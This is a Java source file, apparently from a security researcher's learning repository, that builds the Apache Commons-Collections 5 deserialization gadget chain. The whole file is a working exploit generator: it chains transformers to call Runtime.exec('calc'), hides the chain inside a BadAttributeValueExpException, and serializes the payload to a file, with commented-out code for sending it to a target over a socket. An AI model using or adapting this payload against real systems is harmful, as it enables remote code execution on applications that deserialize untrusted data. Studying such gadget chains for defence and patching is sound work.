package vul.ccbug;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import vul.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;

/**
 * @ClassName: cc5
 * @Description: TODO
 * @Author: summer
 * @Date: 2020/5/5 16:23
 * @Version: v1.0.0
 * @Description: commons-collections5
 * 	Gadget chain:
 *         ObjectInputStream.readObject()
 *             BadAttributeValueExpException.readObject()
 *                 TiedMapEntry.toString()
 *                     LazyMap.get()
 *                         ChainedTransformer.transform()
 *                             ConstantTransformer.transform()
 *                             InvokerTransformer.transform()
 *                                 Method.invoke()
 *                                     Class.getMethod()
 *                             InvokerTransformer.transform()
 *                                 Method.invoke()
 *                                     Runtime.getRuntime()
 *                             InvokerTransformer.transform()
 *                                 Method.invoke()
 *                                     Runtime.exec()
 **/
public class cc5 {
    public static void main(String[] args) throws Exception {

        // payload
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}
                        ,new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}
                        ,new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
                new ConstantTransformer(1)

        };


        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });

//        Transformer transformerChain = new ChainedTransformer(transformers);

        // 创建漏洞map Object
        Map inmap = new HashMap();

        Map lazymap = LazyMap.decorate(inmap,transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazymap,"by summer ");



        // 创建异常，在反序列化时触发payload
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        try {
            Field field = expException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(expException, entry);
        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        // 发送payload

//        Socket socket = new Socket(tas,port);
//        ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());

        FileOutputStream fos = new FileOutputStream(new File("temfile2"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(expException);
        oos.flush();




    }
}
